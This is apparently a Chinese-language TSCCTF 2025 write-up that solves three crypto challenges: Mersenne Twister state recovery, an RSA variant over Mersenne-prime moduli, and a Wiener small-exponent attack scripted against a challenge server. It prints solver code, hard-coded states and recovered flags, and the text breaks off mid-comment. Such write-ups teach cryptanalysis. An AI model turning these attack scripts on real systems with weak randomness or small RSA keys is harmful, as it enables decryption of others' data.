# TSCCTF 2025 Write up 這次打了第4名 ![image](https://hackmd.io/_uploads/HJjBFhUvkx.png) ## Crypto ### RandomShuffle ```python import random import os flag = os.getenv("FLAG") or "FLAG{test_flag}" def main(): random.seed(os.urandom(32)) Hint = b"".join( [ (random.getrandbits(32) & 0x44417A9F).to_bytes(4, byteorder="big") for i in range(2000) ] ) Secret = random.randbytes(len(flag)) print(Secret.hex(), file=__import__("sys").stderr) Encrypted = [(ord(x) ^ y) for x, y in zip(flag, Secret)] random.shuffle(Encrypted) print(f"Hint: {Hint.hex()}") print(f"Encrypted flag: {bytes(Encrypted).hex()}") if __name__ == "__main__": main() ``` 是一個 `MT19937` 的預測,就暴力的寫進去用 `z3` 算,出來後再去使用這個 `random` 物件,以下是 exploit: ```python # from Crypto.Util.number import * # hint = bytes.fromhex(hint) # mask = 0x44417A9F # ut = Untwister() # print(len(hint)) # for i in range(0, len(hint), 4): # rand = bytes_to_long(hint[i: i+4]) # s = "" # for x in range(32): # if mask & (1 << x) == 0: # s = "?" + s # elif (rand & (1 << x)) != 0: # s = "1" + s # else: # s = "0" + s # ut.submit(s) # r = ut.get_random() import random from Crypto.Util.number import * from random import Random states = (3, (1039769592, 2799754065, 1917072332, 4245782059, 146856271, 1186022857, 3163093128, 1045550990, 2436680569, 2090543815, 4229685578, 1727202979, 343472297, 4259130527, 197610599, 3997148976, 2337614228, 4168172378, 3365222510, 2788682781, 3199781008, 3714183420, 2079193426, 3486036719, 4224366279, 1969440331, 1116945603, 3760773683, 2546025051, 815332908, 2833374074, 335127766, 2419693172, 1452693232, 3282898757, 3628366273, 2935390116, 519139564, 3357179210, 2746214169, 3670525428, 783968454, 582528344, 1582563858, 3798354331, 1026117498, 1541828539, 39059260, 3682965, 513446105, 4290512343, 505719412, 2140282217, 2708913446, 3397812111, 696611020, 2693046339, 2846681078, 3650683787, 640954414, 2175380530, 2909616554, 339774535, 3732523990, 187426606, 3165347780, 2814106481, 574784769, 995459671, 4251036085, 2325618667, 1205427856, 4031772015, 2432170070, 3004823785, 760188845, 1892121918, 516221708, 1842813475, 1298016553, 3018914966, 3545795999, 384781199, 810579310, 413789374, 1915732215, 2927504207, 2921903920, 636949924, 1628513072, 2791846240, 939826855, 1365520784, 1286430330, 3782534106, 2151164381, 983793491, 2000862591, 1321086451, 2859664832, 2319939508, 1612272972, 3501883704, 1012806504, 3900071222, 999805673, 3028894263, 56092169, 3409463573, 3339374252, 1635544229, 2606798607, 4117952905, 1637565646, 1653254687, 1576345514, 2986979011, 2237418484, 309191639, 3859157830, 3044058153, 3736873362, 397540238, 978695183, 1525227670, 913129856, 1290289773, 1622628440, 1835673376, 2583799328, 2374640925, 3357282271, 123686160, 3192258898, 2161179226, 983283627, 1036621094, 1221111575, 3396719790, 1204832251, 4194269727, 3730933490, 235909909, 1188573148, 1035958545, 2040959008, 2663666226, 1739443640, 538890269, 3802383614, 4223112703, 1654107081, 1525869356, 3264997327, 2257085137, 2470060214, 707772850, 277036727, 234802007, 616484790, 2010030617, 3860657967, 1209008438, 1548789400, 2983027441, 3732803369, 1908678987, 2341418655, 952970096, 689169971, 463054909, 1938594149, 2392948443, 3135189005, 446034272, 2289791735, 1514280172, 3758778873, 1964989383, 3537797291, 2843939142, 4025355602, 940603545, 2816702166, 3246362860, 4102831409, 2018514749, 1713386604, 3971944157, 4075411245, 2506143508, 3643705747, 2337935304, 2205844480, 1466753671, 1195781773, 1414243957, 2777651837, 665765052, 1295542590, 2054421158, 353464999, 537613533, 1093423291, 1649688811, 2243065496, 936762144, 1732533296, 507432145, 3769008912, 2563985305, 3854742706, 4009221436, 2333302632, 385408977, 2240901524, 182582452, 3638952715, 2106632269, 2925660851, 986526860, 433750074, 2872974093, 3522215770, 3054087326, 964855989, 229281524, 4230551593, 3970316393, 3946414745, 4193507019, 4082084173, 2013641426, 2237730310, 3008281286, 3937148730, 4225156333, 2512067653, 2133723551, 4129707513, 487934495, 1843729079, 4276225969, 608046988, 950444517, 3369634220, 749863572, 593783858, 2479589735, 464398031, 2530351181, 2119296899, 3774093627, 2959356184, 1387673757, 3267677303, 1701079746, 3833974883, 3567790855, 861417428, 3541278131, 3309894742, 701386732, 4263774791, 3852541723, 534163755, 2129161774, 3504961409, 4011958371, 3070865804, 2043563633, 1721676106, 1208384401, 2132375198, 3602150500, 494093877, 571132576, 1843570168, 2460138728, 2086654669, 3499569485, 4208644318, 11124701, 1299808098, 3231155384, 17800120, 1860766524, 3758900802, 1029643337, 4047879319, 2585597799, 3659628708, 1833440372, 19430485, 3573527015, 3361394790, 2321234196, 3712742237, 246640496, 122930935, 118807845, 3341761484, 2668642820, 711478488, 1277239893, 1266823411, 2417536698, 1291705874, 497683376, 646465412, 3966432724, 3015312683, 2424966957, 2414636319, 3278950801, 2522949625, 3755132775, 990376861, 1770121131, 2799174972, 1904044019, 1647971894, 1911363999, 4117619015, 4004463834, 1582346596, 3316840112, 184362127, 3815314827, 1347030279, 2627526619, 4009397349, 880321542, 4286417657, 1839152713, 2933995501, 35249993, 2825919174, 1251435942, 383175549, 4203089668, 404549131, 3557500419, 201935589, 3667849689, 1080332568, 4272148919, 1272286030, 3868475834, 1659770047, 3617850059, 2207296507, 876698196, 502221521, 3327701723, 1582482677, 2507518319, 3843944675, 3355888237, 408327364, 900843566, 3890860220, 1152555007, 3455499525, 1004381201, 1264880526, 1424239162, 181752957, 1045753464, 4082188844, 2607143456, 1855619866, 3033585435, 18914913, 3189587835, 1404110499, 738206138, 2827085545, 3994359002, 528639587, 640983725, 3348168073, 627155096, 2101363823, 494737634, 4015296424, 1753359415, 2533823080, 3803344055, 465882793, 859610997, 3273512899, 2938053469, 2647234162, 580960641, 2870197401, 2683468740, 2254893716, 3614461020, 4030531089, 2482480749, 730482927, 3639820606, 363636704, 785464293, 3643332256, 3676407910, 4211326091, 1628960916, 97778850, 604428354, 4252523216, 1630528097, 935858845, 1146438261, 2229458254, 3463646324, 1206206504, 779522620, 904313513, 4115567778, 3690254307, 3198113647, 2589600203, 2489839594, 4212447380, 2328643321, 4155052637, 75583138, 2712058100, 542876384, 2924897426, 341990064, 3510021027, 1450386657, 2555843062, 1892916402, 1488122613, 681736753, 1369749930, 1078227432, 1328729411, 3570156476, 1637800050, 4081322476, 4236138510, 214806300, 2907600109, 361611282, 1541119686, 4235269766, 3541778849, 1194641245, 2242114789, 4134178420, 801679836, 106752924, 417138391, 1086902849, 1439359266, 3854284981, 3080437019, 3654123927, 278430119, 1297889362, 659603756, 892197090, 99062054, 2804187039, 1557260816, 1830419084, 1190460800, 3149681583, 654544794, 1931876091, 2628512798, 3561068948, 1693646759, 2439036340, 4177288222, 685294157, 3131344499, 4153700188, 2571974032, 2517351676, 637091501, 2339999991, 3246079050, 2335492765, 2660918408, 3046669746, 104180854, 3313806298, 2486106802, 3391192589, 934176146, 3381650703, 3117510715, 3809197495, 736014561, 1413098255, 1902478734, 2013062269, 930111236, 1187957823, 4028359664, 2659848269, 1798406458, 179847074, 1762720821, 2547788409, 2718643123, 2039552320, 3207038919, 2019282578, 4221637285, 1914718982, 2643153804, 3336787756, 2150827834, 264867746, 3617567174, 4011794912, 2629807152, 1284037190, 2545440895, 3894587443, 3989849385, 69933900, 2266355647, 3026081235, 2007147360, 3972756249, 3988001285, 3834388100, 223347347, 1096137772, 1552925116, 4269357332, 280664749, 705952525, 3511144993, 1431263316, 1471735074, 2907887776, 1621285394, 502508902, 1882815033, 943185412, 3208843307, 2653236104, 4013347092, 1168775450, 3017986286, 4215073904, 2165589136, 2187402757, 3215288605, 1044102968, 3460208089, 2862265766, 953553866, 1803273140, 2055020187, 3021224838, 1949680534, 3051564035, 2890308492, 2187279383, 251171428, 3213065706, 4067199980, 3798871887, 3713260068, 2673927903, 1359086921, 3396146612, 3701940392, 1687753133, 2278272117, 2556046682, 1578223403, 1892711304, 2490358085, 1886765455, 1263842840, 1113746124, 2982923739, 3367308330, 4010030658, 328976549, 608211400, 3174960171, 1879199365, 1011916938, 17956329, 4177994907, 1167265804, 4108503294, 2395127334, 2084555680, 1177160808, 1380452161, 3129015507, 1311950681, 1567408153, 3925074806, 3509716878, 3225701059, 216460375, 2917268425, 2615833799, 1577998073, 4139446069, 2961293405, 1857765824, 1518500023, 2299388208, 3331793996, 932613466, 4019485778, 3124422597, 3622109502, 3238966328, 128), None) r = Random() r.setstate(states) ciphertext = "47cab997578fe829ae6e0b9496728b544befd8109798d92266ca12d528c742f2c2" ciphertext = bytes.fromhex(ciphertext) # for i in range(2000): # r.getrandbits(32) Secret = r.randbytes(len(ciphertext)) print(Secret) yee = [i for i in range(len(ciphertext))] r.shuffle(yee) print(yee) flag = "" print(len(ciphertext)) for i in range(len(ciphertext)): flag += chr(ciphertext[yee.index(i)]) flag = bytes((ord(x) ^ y) for x, y in zip(flag, Secret)) print(flag) # TSC{H0w_c4n_y0u_8r54k_my_5huff15} ``` 最上面 call 的那些函式來自於 `https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py`,太長了沒放進來 ### RandomStrangeAlgorithm ```python import secrets import os from Crypto.Util.number import bytes_to_long, isPrime def genPrime(): while True: x = secrets.randbelow(1000000) if isPrime(2**x - 1): return x p = genPrime() q = genPrime() M = (1 << p + q) - 1 flag = os.getenv("FLAG") or "FLAG{test_flag}" flag = bytes_to_long(flag.encode()) e = 65537 def weird(x, e, p, q, M): res = 1 strange = lambda x, y: x + (y << p) + (y << q) - y for b in reversed(bin(e)[2:]): if b == "1": res = res * x res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) x = x * x x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) return res ct = weird(flag, e, p, q, M) print(f"Cipher: {hex(ct)}") ``` 這題乍看下有點奇怪,仔細想了之後會發現它其實是一個有模數的指數運算。從 a * 2^(p+q) + b 變成 b + a * (2^p + 2^q - 1) 會發現,他實際上是做了 2^(p+q) - 2^p - 2^q + 1 = 0,也就是 mod n 然後 p, q 限定在梅森質數,很簡單的能從 bit 數去推斷他們是 21701, 23209 於是剩下就是一般的 rsa 解密 (大數的部分就用 `exgcd` 和他給的函式解決) ```python from Crypto.Util.number import * e = 65537 # for x in range(1000000): # if isPrime(2**x - 1): # print(x) p = 21701 q = 23209 ct = 0x27225c567dfd854ba84614f9e8266db9f326af279aa18afbdb1f601a097ddbf5a203c836d4d0430c59f6d6be6ccfe7f4deca9a4011bc514d92e1aaa1c792cd24127a24b205a2c0a28af24edee1692d04a23aa8653581fe8e3c922878aaeb1c1f495cf08c129bae8ec039d1dc8c39564bdfdcefee42c42f5843c63aeff373613cc133076356241a9b06e45c367b84083e0edf21608f08f5d50563502438746355c1fe7c2f5a470b6857aabc04cc1f6b136e1f79bc2c41419b13ff845d485d380e2b110c2bd2e873e2c07d75d3e9cf1cd6b5634c67e98f11fe7a269e10af713dbb4f587443a630fe1dea2f406793213ce117828b0572dc4d3f06dcce3722bef0d0e8c2aced34d353e9ffe3d0f75a3e0ac195e73888d601c4dde936a573c28aaf6750ea0ad53fdc715c4df547279fdaeb68251ba4bb68f4aa7c0b49241e3e6fc58daae1c4dceb7ba0ef06d3fdec2bfa432ea1a5299d3dd104dd05b10be33303a5fea87cb6fc5d2f0e7daafe1b8f5c50066da68318b510bfd93e2abbadfc86b258bd82f2f53396abfc92a2f71dfd88bfd23b31013844d744d9788bbeb3cb425acfad0f6e868ed84a3152f82cbfc2f8386f059091cab29b9e64cbcc7d9ae672d1801b2dd4521253cffc4a21d476d00c8ac08495118df4ebff044f99e0ee8a56bcb43b3975d7794ff022850031fc0ab7a0b7cc1fe9894a739a7928eb7736910c748548ded36772dc2c6e81fd863af09473ec9e74b12bdddc9141bf46d226c67ce8efc9b02bc7ca3f067336032a7fafe93430fc2006cef8745864868430bcedee25244ba05621e7c2a72cdf524455f650766bc42d15662948ea9d5176c0796a0651a8faeff0ff276c7f65fc1784adeffc03899469192b691db929666509541cc770c487eef20195e704ff63bf1a6c18f20a0a19599cc54113223de37860c2cffbdfb7357da87b28f7bf8b416071196c354331138eb47aa11910c9756c5affa80b97111dddb6d147fe0c30bbfa2ee86cbb36129eef5e543f150023070cf650151e38bbee3a05963ff1cf26a2d42731b6c4487bad5e67eda74b3e9110f4e7df74e5e2819ef80b7f70b33ac3060ca18176e9f48e95d333c4fe5c2ae355a9661de75494fda5ef2d93d4404cf906969fe3ba7f589b263e61cc538986206cdd4177b7898ff5a016c2baccb5d00d78fdc462beaf989bfedbbc70ccaf85489cd1352ff32d0e213bb9cb23e7840eccd020e34ba441a40df86ea128e9f0215b32ab90dd9756afe87f40758676fff71c517895cd3b0f6f35a6f675634dfb1994945105b0276e9b0bbaf15d49824ad20c9865a4608ab0ea3093a32b7e40131010e25f9a939620a6ea43000fb2cd0a75eefd1e01da402f11bde242cb794c135a94db04123b2f874b9eda525f9c1932250084b4b4f096595d4f829691df2908ec625a16695e111083dd4d13665bc8baedaf159100b5c3bb6b9d2450471f5006a99165745c825c4a44b1c1de75a7fa23fca0183d59c3150c8aa6bd787aafcb40d17b053ef8ff7dd9fd1c03e9a60e2d0418bec88773fdd9ff3917f584496cebedaca5ab6c674c7a294bebba764b681c333559acf97bef89290a66cf7249cac824cc43558cf777fe1283d134159747e174a2c6c65a8f4c1ec6ae656465ee52ddab9d56e0b30bf29157ef86b72c3fb836a10df8f0c98fb2cbd7debecb98172eab7475491b7b6aa8fcf1d89f1275bbe5226897d42ea5913d8634ac1a2a5a8211ae3a0627ff53f423dc789e2323a2ef0f9b90f47370a8ef86664dfdb08ae01e3a2c3ea68a5b12cc197207b5c6df451d6e109ac00082b4be5295819b3341429b32653b2cd2d5547dfcb4970c3caa687a1ec2bf50d4db5b2cc2967fb7b3fb47eaa84094b6a73b29162baddd07f045de495006f714b9538bfafab29ba9705b8d5ccb3458ebaaf87078e8b16bb2390b0cedc3a65a08122d6834758d8053e519b479a4b4818fd3d6f9dd52e9e7f1ece3237f58d07399d44692c08e2c50c8632a40592a148492a0c475cb33579b48b6fbe5441fde23ed89b0686f69cced80bed326cda230de3a1c8777422038662cd052bf7f8bd021b8e4f885941957bcfc32d3c9da028068c30c5b19c3cffa9a1a044cd23d01cab79c149e3ac0d77ce6694a41cd0b404be056ad35cc31cf4051d6d855e73ddc4c0aeef5c6075af182e3f05503f73ea25874f430d3a13ee2b291be56a510aa8a6505868c7467f1a43a0b84817c841f1ff7a8af8872cc977f55f7add6d8411fa35f93edd13a9eabb688762e74be5a98e02806248f8be03c72ff4d1074f06ef2e77b9159b6db5db8158212d614c8a024ff51871fd152f53b1998dddd07f65eaeea5f3ab6bbc33dce92179a4e140d7ebf0b06c412ee8b2636d90dd003721bd54c0d20bc5b071cce0a970625a28b0bf4aaf09c57fdb40bdeae24e3e20c5d0bfa0ab64fc627c6c633f93252460b8d8edcbfd6fd43a45dd1e3adc11733232686358dca0db03b23df9bde2d359695ab3e6af5ebe881c25ae5bc2be2a392551bc0f9a9c50e4b9306631f668c95479a11d267984e3cd407701d4d9b7c077804663b6b68e10030915023da5414df1905ce1e4b0ba7c4f677bcbdc89e778e7927ff4aa2a7699cc7447f433e4ba4072627f5e955735e6650cade1676410b2001cccd2d4146e0ee0671dbee364d34c4224d886e8704062c96e56f6e1e463f2f60a6267ee7e45d387b705beb765ee62898a52e6d9190f9079a2cc2c823c6a97a38750337fcb9c3b682ea60e0250c8f733ae1cd11de95a219cabe9db8e27db6ffc1af616ed7b8f27e8e748c5620291a9a850f24057fc1e0dbe6b6db49257c1c57cebed13ace5196af892ccc2b09b76f54048390bd5d06387ebddaefb2dca8b94c9d663cf2a6f4480c14f932c08667be1b7210181c4c8df0f1cea710cdb567fb2b1e126141bd1616436044f8722f81f7fe45ac67386ed806c471b782b6c288334b896803779e4b50a7280fec70e84c39303764b30f8d98d178968eae949192e1cdbbd378b186211cfd15d6e68cf9a85ea3873451d3f26ffce9d2f76e23cfca012687e17c78e214f22163f2a0b94ac7b3067b232ee7d6ab57e6991b668ad84d6602b5838a15566b5a407eea66ebd106a2fb67a367753e0bab7ffdc234a00c8ab0540f38379daa09f47c22cd3c96f2d3a13d17ddf2970aaec4f65029896fa549ba832f8bebebd2c00d895a568be4b8d093089fb0f5e9f9a4d37a7ed5ace03268b236d33ae36b8168633de6178de56a1053df6a9b1d902df020ecaed6612aba8dd03dee1ea0a00467f9dcb98cfbc742e352d6315dc479216f08765b7341a085ac313c2b8856d22cd822ba6fd1a62519ae1cfec489e678e0440a1aeacbcb917aed893c0255618569ba9c03e627d0ce7ecd33ce64e26b9ff4ed9fc3f6f87dc105f4962373d86f155b64273b4a14cad88bc07265b78ba3b8e87b7b5dde2d39349658a295295c253495004a9a6c7d8ec46414f6c74bff4179784ad19dac1f5897bb56c1716f7cc238024d1243399329843cc8cbc1ec15dc69f089c43f3c6545cd35d1d176c3bbc5c6ea5475fcc9b7411d96febbb4fef67124897a4ab311ec2f32ae590065f3e4f76b716479d9506e6a03a151ba6258e31eda4feee96d3e255c74c874e197de71156ad5b1df35ce20a60033714689bd409b1b35aafa3b3cda73d7524321c7562f7dad33e22cc9ea6cea4d3933a9ef1924ff0add9a441647bbeaa8a13e680281956abba2231ad39778c3bb92cea57b93ec063b676fc8d0ce898a1856449c1b1b16d7973ba40c5aa52edb1dc7e2332fcf61217cd02e31b0c5c787089771acb3e8c2b7715911e09cd9183e803d80c9873074026c3e4ecfe11600b2e507e159a56e0394f1b42618aaf7363523a4c8b53c497fecdc65d167bdb2c4f79ee393387e364954debe37f1a933b964af9ac3e3227a77a167f3491e61eb43a67bb7a13c6b113ebeb0784dd5e70422ca27eebc2e703fc2c7996375c9b4d4f3aa44b6ab4f8e08f6cc8263e0229a12582f2c2301d1650d2a2f1146f87a59a34178b54a58fd46ca725267bb2f4a19fbac7b53b6f6aa1d70bb46674b5879d6ed81f40f01c62634d1ba6dee627d75e4f1333e2805e00f142860193e278ec1d676cc25c3ae91237ab9209b26a304b2e65b7bb6a68fbc300d8114f14adafe8cff69d554de4d8ba4e321f94b3d90bf9feeeeadd1bbdffde39c7036c70ffc340b0f9f8d819e925ecac8feca4a6c4aa9918477e742a0d104c0972ef02082fa9365d49654b29306c131d36eccb0e393f186553e08217f69a6191b1d4017ab431e45cbb8a4511e4cd6fa183c6f7e5612bfe8c3ae2b10e97c530ae172ebcb201585b05c1aedbed2daea99026596486063b620db4a75a72ece20683abb3e53d2a067785e8fa396d0f02233bd8221d1e7620af36a5e9c98d4e3f4eaef09794dde1ecea87dd531f276da98a3112665ced8610937f1b8d6cf0dde32de980fe1ee43bf856f3fc8b34035f5345d80b2c123a4ea7b24da20a065a08e9be1b5808b18727b689cd376d620d28566e9d7f7507e1b7705bd0fccd631891f297ff44990c2b1c697e9582531025e7556824e89db58672e0bf91fe7aad4e5d6d733cace0d92a5089fff9c6e7a4a56c857934143e6296950a0dc3e3a4cfcb479c4c2f18d52d1a67aa260f421a5f657b371faffada38099edbf07b7799e2424ae24a9ad2b76bb5e75453b5b3c4270f0be1448d3fda6660d77ec8e569d6c21f532d8871b9e5d60ac6a1b80b688c6efe12678e8cedd7b3ef19658ccf13f554c92fbd37d3773e57d8fd79c9f21783495a9d534efdd8f99a6d27ea40d76d032bc8f999ece9a55f292fb80111d526d1a0a8b33f4e35ea820cd4dfc8a526ead8baad66f5b2d86404de48d97a8a4d6b7f50eccc1350a60a23a4f3d479473ed1825f373b78003080af07f99ac6ead34124a5d43cef23c2e548779993c73c7cd5e89624dfa3952251b8e86eb9d4bce88244c60b0b0765379054f532fddff5e6a4da75d38ab7f67f8bede89c812259f948e4371d82e2b838e62250475e7986e97ad9706d84a57560934d9cd566cc5fba0f4f7037554ad926e68f178323881f33aba7a6811a03f3f507b6494428f3428927bd120b73298b2f5cad421985b0af070b9fae7037ea3cef1885d3846ba8cd09cd9f43070096a249796bcdd21ca55c76816ead0692e0587d96f831f343dde19117083509e0d4f5b296674dcc0e17b669f7c2ab4b0a609d6cbed8073d1aec3ef2cee0aad9c055d54ac11d58c01ab27956b3bbd667f5bb52dc96b647fc9ee2dc47ae8e5bab66d1bbf66d21926e063a90d7438e501113e78e9506c20c0dcc517189d5f54a6b4d53bff8173adbb3c2c4017e440f05517fa56c424d03b2e8dd81537a714cb53c3ec1c8237344d3ce8a0e8f81cb5693908f0cf63001cb0f2218a53b9be92f4c1aed51ba9a224523ae765a71ad3ba687594496ec72887a8f3a6f6338fab6c14ed6c139d687f5de68f99a2b4b425774abe7ad24995d775b8ac11efbc6ef0b38f6377c969ed6e63919f510c5444347155903c72be2f82de608b3abaec12a084c7a3cf06b6be7bef4478c723b90c5b652b1a87b206a2f1405a89471a4b9a073f3204a158e20a5e3dc6c4f433360927dce3b58ca65b3c42d18bf860a977ffc469cca122c8dfd338cdaffa4d796e4ee0314f581b0683763d6b9c0cf6498fad28fd4506258023553ef4d66f7e389014ca9a0e38627910a816cd51c95ff5a269080cc08ff96fd035efd2a0c192d58e09bc3d864c165c90da82bd2e61617132b9f62861c176d11a56d335589c534cdfc7312de0da2b845a863e35293eb60341328df60fcb9927115e7f24e6fe0a2bef5bbbaf560b13d58c93a3878bc99d44b5e748692b231ad3c84187776e29905979a7470424b1df92ea82374efad63da2a1c41aaf4c1e446416eaac450f659ce12012d7a22f3c8d97848356ded7504b448a9595683f2be12fd23c4fbdaaded9a3207031077272f64428e9e202d03a2083c7e68807ac9eda25130deb4347a8c2ae36a211a8324218da4276c1b5566b0bb7bd70ccfb580bce3ee108915bc1b21ad49de03875bd0346752e8a1c6788fd829a74abf7b01a3329f9bd7a2535c312f5a48b20623646e1078b6d4f5df9c0cc0bc06d41deb208b31cbe4b49e8dcf697bc7439d00a0c87bb64be44115b440d6b0fcf38e024bc332290b4ca33d1fa097799cae6cbf297b68a87ff8ba687ef4a5dbb25e02e7f95ea2bfb34db25ccb38df96f1bb32372ff00e5f3d78c0ce5a1bde27d2af89bb11efdf4b1b11feaf8c36b3373c0867b3fecbe58150a88758873ae4ecd3df4da6549732245da3cebd152a3dbef070aacd7f0c760fc797c253f9375edee15ec7f783059818df5ec0632c10e50f8dce4fbd4ddcff61c9601a88925db83dfe1b6a4bbdf76506828a1ece4ee99c1e356b686b880aaaf1f789d0b8e1a5ef69b7c12d57161bbab80219d270ab65ce6b1d29bcc24a6bedc18ac73783a2271560ec5193b20979c2168a0da1da6a30d9f7190973ac11906de52f80db4d40b5a86c1084ad17115718b7c9327dcd1aaf266df16f0f232ed926b2d7f139c37ad527a01ef38bcb3dfae204ebafda14ecac741ef1769c2f02189c2c474cb3b9f79884a767baad126a5a14c99e2fc6a1f1c0d3c1598f5670ce19aa0d01c6a7302d4e66d28315139f9b20f474ae1a39b93bb18a479733db8bf9dd737f8a09d4146ad89850342445eee2ca3141a672047814e42b7b9bd7798d6d8d82adba9d696dce955e61815520618a1ec70a9264acd244a5d8f5170f3a0ece58351737c31a617d3e646916e503cd7b20c6decafe3a8532f6bde5e89b7b8314a73dcf9c75090331d7f56820637c2d9ace9a75d8cef4a5f45049a8d17ecddd1c1e7f2683588cf834e82044e38e571ef786c9b1ff1ab9dd40644784f2820a42a9c1ecbe155d54557bd34c2c8245fe9f6187fa97c46929dffcf2b0d49679a51a2cd069879174b7d1556c83e2aaecf0e9a7fa52af3b3f0d6dbe95474da464c065db054521f17e0cf676060acb4c64fb7f9d42ad518a27ebcbdeb9e1183ac02c182e19fe98948be6ca6b44b8936294234c0c795bebf6726bb9f6d71029b7226a7f2d920d7c6d5bad845dbd7126be045ff9f2553f617591e0aad0979e2194b4ca5d0624cbe141c4a3e36d218f58ad3675412d29917ea1e91ee05b7a52267534b2386ecfa2f9634214ae42511dadd68f75422fd87d99309f38ecb97ece0ea084d5f11c15b6059a5c161881bf421a143a8e400bb41b9c42af3943cc3308523717d2684e605c19f4f61b02b1d437f8ea2ff31c478b820c503a847c07ec5a11f84ebddb13976db04fef81ad11c1917ac48ba5dfec46f7e5ccd1743b56d837acbe81dd60fdd8e65e6d7bffa03aeb6b4c5af715dcbe48dfa54f5802627f05736521096b6755103aac95d1dbe803eb15e200180e557d5238e9a5d06a2f9d1573bc4d302739050c2da989309fa060bf31f233d118fe4673491af97c6504774db6b08d5772f718460f99b2b2fcd0b455ca4d119a42a982d22e1d0931736d26740b8bd0930d0b673300b8d602fa230ebbb56a599aaf341382072d843fb8850ba41b18ce628687388f32e896fbb01387ded3099aa1f567093f69dcd08d5822ed345453efab20c3a5ba059c19fd3c8c660776ca1ab858433e83ddd6fccca3df9ee20d1634b60a284f7497bd40f58eb2f58ffb4530cc3ad9024132ca7f45f69426f1e1cba8b8a811cf8971c94352ee445d1e37e4157b406864de23e44c2698e6be5737bc4e8dafa303e8c4b6b800fbed343b9a8867633040c0ab8c80e5ab12e22966e4125e760dfcd34d217a4703d6743d24ce97469b120d57cb3e9b19100f90dd794ccb9ee86feec5a48b08de98799d99f9e from tqdm import tqdm def weird(x, e, p, q, M): res = 1 strange = lambda x, y: x + (y << p) + (y << q) - y cnt = 0 for b in reversed(bin(e)[2:]): if(cnt % 1000 == 0): print(cnt) cnt += 1 if b == "1": res = res * x res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) x = x * x x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) return res def weird2(x, phi, p, q, M): res = 1 strange = lambda x, y: x + (y << p + 1) + (y << q + 1) - (y << 2) for b in reversed(bin(phi)[2:]): if b == "1": res = res * x res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) res = strange(res & M, res >> (p + q)) x = x * x x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) x = strange(x & M, x >> (p + q)) return res def exgcd(a, b): if b == 0: return 1, 0, a y, x, d = exgcd(b, a % b) y -= x * (a // b) return x, y, d def inv(a, n): x, y, d = exgcd(a, n) return x % n M = M = (1 << p + q) - 1 # m = weird(ct, d, p, q, M) # m = phi = (1 << p + q) - 2 * ((1 << p) + (1 << q)) + 4 d = inv(e, phi) print(d.bit_length()) m = weird(ct, d, p, q, M) % (((1 << p) - 1) * ((1 << q) - 1)) print(m) print(long_to_bytes(m)) # TSC{9y7hOn_p0vv3r_ls_700_5Io0o0o0o0o0o0o0o0o0o0w} ``` ### Random Strangeeeeee Algorithm ```python import os import random import sys from Crypto.Util.number import getRandomNBitInteger, bytes_to_long from gmpy2 import is_prime from secret import FLAG def get_prime(nbits: int): if nbits < 2: raise ValueError("'nbits' must be larger than 1.") while True: num = getRandomNBitInteger(nbits) | 1 if is_prime(num): return num def pad(msg: bytes, nbytes: int): if nbytes < (len(msg) + 1): raise ValueError("'nbytes' must be larger than 'len(msg) + 1'.") return msg + b'\0' + os.urandom(nbytes - len(msg) - 1) def main(): for cnt in range(4096): nbits_0 = 1000 + random.randint(1, 256) nbits_1 = 612 + random.randint(1, 256) p, q, r = get_prime(nbits_0), get_prime(nbits_0), get_prime(nbits_0) n = p * q * r d = get_prime(nbits_1) e = pow(d, -1, (p - 1) * (q - 1) * (r - 1)) m = bytes_to_long(pad(FLAG, (n.bit_length() - 1) // 8)) c = pow(m, e, n) print(f'{n, e = }') print(f'{c = }') msg = input('Do you want to refresh [Y/N] > ') if msg != 'Y': break if __name__ == '__main__': try: main() except Exception: sys.exit() except KeyboardInterrupt: sys.exit() ``` 他會一直 random 出 p, q, r, d,用 rsa 加密東西。可以發現,$d<\frac{1}{3}N^{\frac{1}{4}}$ 是不難達到的,把 random 出來的 n 的 bit 數太小的刪掉就好,另外 wiener 裡檢查 phi 是否合法的函式改成指數的暴力比對,雖然效率上比較差但還在合理範圍內: ```python import owiener from pwn import * from typing import * r = remote("172.31.2.2", 36901) def attack(e: int, n: int) -> Optional[int]: f_ = owiener.rational_to_contfrac(e, n) for k, dg in owiener.convergents_from_contfrac(f_): print(k.bit_length()) edg = e * dg phi = edg // k if edg - phi * k == 0: continue d = dg // (edg - phi * k) if e * d % phi != 1: continue if pow(2, e * d, n) == 2 and pow(3, e * d, n) == 3: return d # x = n - phi + 1 # if x % 2 == 0 and owiener.is_perfect_square((x // 2) ** 2 - n): # g = edg - phi * k # return dg // g return None while True: r.recvuntil(b" = ") n, e = tuple(map(int, r.recvline().decode().strip("()\n").split(", "))) r.recvuntil(b" = ") c = int(r.recvline().strip().decode()) if n.bit_length() <= 1200: r.sendlineafter(b"> ", "Y") print("fail") continue d = attack(e, n) if d == None: print("yee") r.sendlineafter(b"> ", "Y") continue print(f"{n=}") print(f"{c=}") print(f"{d=}") print(f"{e=}") break r.sendlineafter(b"> ", "Y") # from Crypto.Util.number import * # n=142559311111344346436802705480776637887038653716128102666274870271439980102189833279884373999646583539861283433585758603564782830885227826266402937269219057486176732012435035658805603348023612221314338737606943406443413171288454837862323483032514478155868056579360241046692718763017556890773227270997135694908934242720254540980745143543438347714144033554237254088727945057183003317409138532781815312089710700676635600888668573152951910667060313602388737915608855531025884929119256044553584477668529173900664233473803899570649271070025012549829736272234069946076124398984445703434873668017466208463800887514719912091030332289023819308223918719132878983831418356174789954278776315669676861352384831685375633173203328528943902419591287263318229374744117409200143811241131812391554869935645352523332507778477758230274513022915862309165610177463447838011934904181989440515665343953242053812047101041732037107407277102136172560857620836297184298521555867614719929417930724056026936741957398941997137897688681478254476289046869576154941093453126859261976431858835966045361570928196938141526290183139835082775025080762784600050062537011763511 # 